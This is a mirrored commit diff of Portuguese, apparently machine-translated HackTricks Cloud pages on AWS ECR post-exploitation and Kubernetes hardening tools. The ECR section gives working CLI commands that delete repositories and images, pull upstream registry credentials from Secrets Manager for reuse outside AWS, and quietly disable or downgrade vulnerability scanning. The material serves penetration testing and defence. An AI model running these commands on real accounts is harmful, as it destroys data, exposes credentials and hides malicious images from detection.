mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+49
-17
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma lifecycle policy para excluir todas as imagens no repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de container armazenadas no repositório.
|
||||
Um atacante com quaisquer dessas permissões pode **criar ou modificar uma política de ciclo de vida para excluir todas as imagens do repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,9 +90,9 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrate credenciais de registry upstream do ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos administradores do ECR amplo acesso de leitura ao Secrets Manager, permitindo a exfiltração de credenciais e seu reuso fora da AWS.
|
||||
Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos administradores do ECR acesso amplo de leitura ao Secrets Manager, permitindo exfiltration de credenciais e reutilização fora da AWS.
|
||||
|
||||
Requisitos
|
||||
- secretsmanager:ListSecrets
|
||||
@@ -119,20 +119,20 @@ Opcional: validar leaked creds contra o upstream (login somente leitura)
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impacto
|
||||
- A leitura dessas entradas do Secrets Manager fornece credenciais reutilizáveis do registry upstream (nome de usuário/senha ou token), que podem ser abusadas fora da AWS para baixar imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
|
||||
- A leitura dessas entradas do Secrets Manager fornece credenciais reutilizáveis do registry upstream (nome de usuário/senha ou token), que podem ser abusadas fora da AWS para puxar imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
|
||||
|
||||
|
||||
### Furtividade em nível de registro: desativar ou rebaixar a verificação via `ecr:PutRegistryScanningConfiguration`
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Um atacante com permissões de ECR em nível de registro pode silenciosamente reduzir ou desativar a verificação automática de vulnerabilidades para TODOS os repositórios definindo a configuração de scanning do registro para BASIC sem qualquer regra de scan-on-push. Isso impede que novos envios de imagens sejam verificados automaticamente, ocultando imagens vulneráveis ou maliciosas.
|
||||
Um atacante com permissões de ECR a nível de registry pode reduzir silenciosamente ou desabilitar o scanning automático de vulnerabilidades para TODOS os repositórios ao configurar a registry scanning configuration como BASIC sem quaisquer regras de scan-on-push. Isso impede que novos pushes de imagens sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas.
|
||||
|
||||
Requisitos
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (opcional, por-repositório)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verificação)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Rebaixamento do registro para manual (sem varreduras automáticas)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Teste com um repo e uma imagem
|
||||
Testar com um repo e image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Não recebi o conteúdo do arquivo README.md. Por favor cole aqui o texto (markdown) que deseja que eu traduza para português — sem ele não consigo efetuar a tradução.
|
||||
Opcional: degradar ainda mais no escopo do repositório
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,21 +168,21 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impacto
|
||||
- Novos pushes de imagens em todo o registro não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
|
||||
- Novos envios de imagem em todo o registro não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
|
||||
|
||||
|
||||
### Rebaixamento do motor de varredura em todo o registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Rebaixamento do mecanismo de scanning em todo o registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reduza a qualidade da detecção de vulnerabilidades em todo o registro ao trocar o motor de scan BASIC do padrão AWS_NATIVE para o motor legado CLAIR. Isso não desabilita o scanning, mas pode alterar materialmente os resultados/cobertura. Combine com uma configuração de scanning de registro BASIC sem regras para tornar os scans somente manuais.
|
||||
Reduza a qualidade da detecção de vulnerabilidades em todo o registro ao trocar o mecanismo de scan BASIC do padrão AWS_NATIVE para o engine legado CLAIR. Isso não desativa o scanning, mas pode alterar materialmente os resultados/cobertura. Combine com uma configuração de scanning do registro BASIC sem regras para tornar os scans apenas manuais.
|
||||
|
||||
Requisitos
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opcional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impacto
|
||||
- Configuração do registro `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que scans BASIC subsequentes rodem com o motor rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
|
||||
- Configuração do registro `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que os scans BASIC subsequentes sejam executados com o engine rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
|
||||
|
||||
Passos
|
||||
Etapas
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Escanear imagens do ECR em busca de vulnerabilidades
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Endurecimento do Kubernetes
|
||||
# Kubernetes Hardening
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
Ele realiza **várias verificações de conformidade no cluster Kubernetes**. Inclui suporte para CIS, National Security Agency (NSA) e para o relatório técnico de Cybersecurity da Cybersecurity and Infrastructure Security Agency (CISA) sobre hardening do Kubernetes.
|
||||
Realiza **várias verificações de conformidade no cluster Kubernetes**. Inclui suporte para CIS, National Security Agency (NSA) e o relatório técnico da Cybersecurity and Infrastructure Security Agency (CISA) sobre Kubernetes hardening.
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,19 +27,19 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) é uma ferramenta K8s de código aberto que fornece um único painel K8s multi-cloud, incluindo análise de risco, compliance de segurança, visualizador de RBAC e varredura de vulnerabilidades em imagens. Kubescape escaneia clusters K8s, arquivos YAML e HELM charts, detectando misconfigurações de acordo com múltiplos frameworks (como o [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilidades de software e violações de RBAC (role-based-access-control) em estágios iniciais do pipeline CI/CD, calcula a pontuação de risco instantaneamente e mostra tendências de risco ao longo do tempo.
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) é uma ferramenta open-source para K8s que fornece um painel unificado multi-cloud, incluindo análise de risco, conformidade de segurança, visualizador de RBAC e varredura de vulnerabilidades em imagens. Kubescape escaneia clusters K8s, arquivos YAML e charts HELM, detectando misconfigurações de acordo com múltiplos frameworks (como o [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilidades de software e violações de RBAC (role-based-access-control) nas fases iniciais da pipeline CI/CD, calcula a pontuação de risco instantaneamente e mostra tendências de risco ao longo do tempo.
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) é uma utilidade que escaneia clusters Kubernetes ao vivo e **relata problemas potenciais com recursos e configurações implantadas**. Ele sanitiza seu cluster com base no que está implantado e não no que está no disco. Ao escanear seu cluster, detecta misconfigurações e ajuda a garantir que as melhores práticas estejam em vigor, evitando dores de cabeça futuras. Tem como objetivo reduzir a \_over_load que se enfrenta ao operar um cluster Kubernetes em ambiente real. Além disso, se seu cluster empregar um metric-server, ele relata potenciais alocações de recursos em excesso/falta e tenta alertar caso seu cluster fique sem capacidade.
|
||||
[**Popeye**](https://github.com/derailed/popeye) é uma utilidade que analisa clusters Kubernetes em execução e **relata potenciais problemas com recursos e configurações implantadas**. Ele sanitiza seu cluster com base no que está implantado e não no que está em disco. Ao escanear seu cluster, detecta configurações incorretas e ajuda a garantir que as melhores práticas estejam em vigor, prevenindo dores de cabeça futuras. Visa reduzir a sobrecarga cognitiva que se enfrenta ao operar um cluster Kubernetes em produção. Além disso, se seu cluster empregar um metric-server, ele relata possíveis alocações excessivas/insuficientes de recursos e tenta avisar caso seu cluster fique sem capacidade.
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
A ferramenta [**kube-bench**](https://github.com/aquasecurity/kube-bench) é uma ferramenta que verifica se o Kubernetes está implantado de forma segura executando as verificações documentadas no [**CIS Kubernetes Benchmark**].\
|
||||
Você pode escolher:
|
||||
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
You can choose to:
|
||||
|
||||
- run kube-bench from inside a container (sharing PID namespace with the host)
|
||||
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
|
||||
@@ -48,28 +48,28 @@ Você pode escolher:
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[DEPRECATED]** A ferramenta [**kubeaudit**](https://github.com/Shopify/kubeaudit) é uma ferramenta de linha de comando e um pacote Go para **auditar clusters Kubernetes** por várias preocupações diferentes.
|
||||
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
|
||||
|
||||
Kubeaudit pode detectar se está sendo executado dentro de um container em um cluster. Se sim, ele tentará auditar todos os recursos Kubernetes nesse cluster:
|
||||
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
Esta ferramenta também possui o argumento `autofix` para **corrigir automaticamente os problemas detectados.**
|
||||
Esta ferramenta também tem o argumento `autofix` para **corrigir automaticamente problemas detectados.**
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECADO]** A ferramenta [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) procura por vulnerabilidades de segurança em clusters Kubernetes. A ferramenta foi desenvolvida para aumentar a conscientização e a visibilidade sobre problemas de segurança em ambientes Kubernetes.
|
||||
**[OBSOLETO]** A ferramenta [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) procura por vulnerabilidades de segurança em clusters Kubernetes. A ferramenta foi desenvolvida para aumentar a conscientização e a visibilidade sobre problemas de segurança em ambientes Kubernetes.
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) possui scanners que procuram por problemas de segurança, e alvos onde ele pode encontrar esses problemas:
|
||||
[Trivy](https://github.com/aquasecurity/trivy) possui scanners que procuram por problemas de segurança e alvos onde pode encontrar essas questões:
|
||||
|
||||
- Imagem de Container
|
||||
- Imagem de contêiner
|
||||
- Sistema de arquivos
|
||||
- Repositório Git (remoto)
|
||||
- Imagem de Máquina Virtual
|
||||
- Imagem de máquina virtual
|
||||
- Kubernetes
|
||||
|
||||
|
||||
@@ -77,7 +77,7 @@ kube-hunter --remote some.node.com
|
||||
|
||||
**[Parece descontinuado]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) é uma ferramenta de scanning de vulnerabilidades e CIS Docker benchmark que permite aos usuários obter uma avaliação de risco precisa e imediata de seus clusters kubernetes. Kubei escaneia todas as imagens que estão sendo usadas em um cluster Kubernetes, incluindo imagens de pods de aplicação e pods do sistema.
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) é uma ferramenta de escaneamento de vulnerabilidades e CIS Docker benchmark que permite aos usuários obter uma avaliação de risco precisa e imediata de seus clusters do Kubernetes. Kubei escaneia todas as imagens que estão sendo usadas em um cluster Kubernetes, incluindo imagens de pods de aplicação e pods do sistema.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
@@ -85,29 +85,29 @@ kube-hunter --remote some.node.com
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) é uma ferramenta construída para testar outros tipos de verificações de alto risco em comparação com as outras ferramentas. Ela possui principalmente 3 modos diferentes:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) é uma ferramenta construída para testar outros tipos de verificações de alto risco comparada com as outras ferramentas. Ela possui principalmente 3 modos diferentes:
|
||||
|
||||
- **`find-role-relationships`**: Que encontrará quais AWS roles estão sendo executadas em quais pods
|
||||
- **`find-secrets`**: Que tenta identificar Secrets em recursos K8s, como Pods, ConfigMaps e Secrets.
|
||||
- **`test-imds-access`**: Que tentará executar pods e acessar o metadata v1 e v2. AVISO: Isto executará um pod no cluster; tenha muito cuidado, pois talvez você não queira fazer isso!
|
||||
- **`find-secrets`**: Que tenta identificar segredos em recursos K8s como Pods, ConfigMaps e Secrets.
|
||||
- **`test-imds-access`**: Que tentará executar pods e tentar acessar o metadata v1 e v2. AVISO: Isto irá executar um pod no cluster; tenha muito cuidado porque talvez você não queira fazer isso!
|
||||
|
||||
## **Auditar código IaC**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) encontra vulnerabilidades de segurança, problemas de conformidade e más configurações de infraestrutura nas seguintes soluções de Infraestrutura como Código: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, e especificações OpenAPI 3.0
|
||||
[**KICS**](https://github.com/Checkmarx/kics) encontra **vulnerabilidades de segurança**, problemas de conformidade e configurações incorretas de infraestrutura nas seguintes **soluções de Infrastructure as Code**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM e especificações OpenAPI 3.0
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) é uma ferramenta de análise estática de código para infraestrutura como código.
|
||||
|
||||
Ele escaneia infraestrutura de nuvem provisionada usando [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) e detecta más configurações de segurança e conformidade usando varredura baseada em grafo.
|
||||
Ele escaneia infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) e detecta configurações incorretas de segurança e conformidade usando análise baseada em grafo.
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) é uma ferramenta que realiza análise estática de código das definições de objetos do seu Kubernetes.
|
||||
[**kube-score**](https://github.com/zegl/kube-score) é uma ferramenta que realiza análise estática de código das suas definições de objetos do Kubernetes.
|
||||
|
||||
To install:
|
||||
Para instalar:
|
||||
|
||||
| Distribution | Command / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
@@ -116,7 +116,7 @@ To install:
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Ferramentas para analisar arquivos YAML & Helm Charts
|
||||
## Tools to analyze YAML files & Helm Charts
|
||||
|
||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||
```bash
|
||||
@@ -162,9 +162,81 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Escanear problemas de dependência
|
||||
|
||||
### Escanear imagens
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### Escanear Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## Dicas
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### Kubernetes PodSecurityContext e SecurityContext
|
||||
|
||||
Você pode configurar o **contexto de segurança dos Pods** (com _PodSecurityContext_) e dos **containers** que serão executados (com _SecurityContext_). Para mais informações leia:
|
||||
|
||||
@@ -174,25 +246,25 @@ kubernetes-securitycontext-s.md
|
||||
|
||||
### Endurecimento da API do Kubernetes
|
||||
|
||||
É muito importante **proteger o acesso ao Kubernetes Api Server**, pois um ator malicioso com privilégios suficientes poderia abusar dele e causar muitos danos ao ambiente.
|
||||
É importante proteger tanto o **acesso** (**whitelist** as origens que podem acessar o API Server e negar qualquer outra conexão) quanto a [**autenticação**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (seguindo o princípio do **mínimo** **privilégio**). E definitivamente **nunca** **permita** **requisições** **anônimas**.
|
||||
É muito importante **proteger o acesso ao Kubernetes Api Server** pois um ator malicioso com privilégios suficientes pode abusar dele e danificar o ambiente de várias formas.
|
||||
É importante proteger tanto o **acesso** (**whitelist** origens para acessar o API Server e negar qualquer outra conexão) quanto a [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (seguindo o princípio do **menor** **privilégio**). E definitivamente **nunca** **permitir** **requisições** **anônimas**.
|
||||
|
||||
Processo comum de requisição:
|
||||
**Processo comum de requisição:**
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
|
||||
**Dicas**:
|
||||
|
||||
- Feche portas.
|
||||
- Evite acesso anônimo.
|
||||
- NodeRestriction; Sem acesso de nós específicos à API.
|
||||
- Fechar portas.
|
||||
- Evitar acesso anônimo.
|
||||
- NodeRestriction; negar acesso de determinados nós à API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- Basicamente previne que kubelets adicionem/removam/atualizem labels com o prefixo node-restriction.kubernetes.io/. Esse prefixo de label é reservado para administradores rotularem seus objetos Node para fins de isolamento de workload, e os kubelets não poderão modificar labels com esse prefixo.
|
||||
- Basicamente impede que kubelets adicionem/removam/atualizem labels com o prefixo node-restriction.kubernetes.io/. Esse prefixo de label é reservado para administradores rotularem seus objetos Node para fins de isolamento de workloads, e kubelets não serão autorizados a modificar labels com esse prefixo.
|
||||
- E também, permite que kubelets adicionem/removam/atualizem esses labels e prefixos de label.
|
||||
- Assegure, com labels, o isolamento seguro das workloads.
|
||||
- Evite que pods específicos tenham acesso à API.
|
||||
- Evite a exposição do ApiServer à Internet.
|
||||
- Evite acesso não autorizado via RBAC.
|
||||
- Proteja a porta do ApiServer com firewall e whitelist de IPs.
|
||||
- Garanta, com labels, o isolamento seguro de workloads.
|
||||
- Evitar que pods específicos acessem a API.
|
||||
- Evitar exposição do ApiServer na internet.
|
||||
- Evitar acesso não autorizado via RBAC.
|
||||
- Proteja a porta do ApiServer com firewall e IP whitelisting.
|
||||
|
||||
### Endurecimento do SecurityContext
|
||||
|
||||
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
|
||||
### Endurecimento Geral
|
||||
### Endurecimento geral
|
||||
|
||||
Você deve atualizar seu ambiente Kubernetes com a frequência necessária para ter:
|
||||
|
||||
- Dependências atualizadas.
|
||||
- Correções de bugs e de segurança.
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): A cada 3 meses há um novo minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): A cada 3 meses há um novo lançamento minor -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**A melhor forma de atualizar um Kubernetes Cluster é (a partir de** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
**A melhor maneira de atualizar um Kubernetes Cluster é (a partir de** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Atualize os componentes do Master Node seguindo esta sequência:
|
||||
- etcd (all instances).
|
||||
- kube-apiserver (all control plane hosts).
|
||||
- etcd (todas as instâncias).
|
||||
- kube-apiserver (todos os hosts do plano de controle).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, if you use one.
|
||||
- Atualize os componentes dos Worker Nodes como kube-proxy, kubelet.
|
||||
- cloud controller manager, se você usar um.
|
||||
- Atualize os componentes dos Worker Nodes, como kube-proxy e kubelet.
|
||||
|
||||
## Kubernetes monitoring & security:
|
||||
## Monitoramento e segurança do Kubernetes:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
|
||||
- Network Security Policies
|
||||
- Falco - Runtime security monitoring & detection
|
||||
- Cilium Tetragon - Observabilidade de segurança baseada em eBPF e aplicação em tempo de execução
|
||||
- Políticas de Segurança de Rede
|
||||
- Falco - monitoramento e detecção de segurança em tempo de execução
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user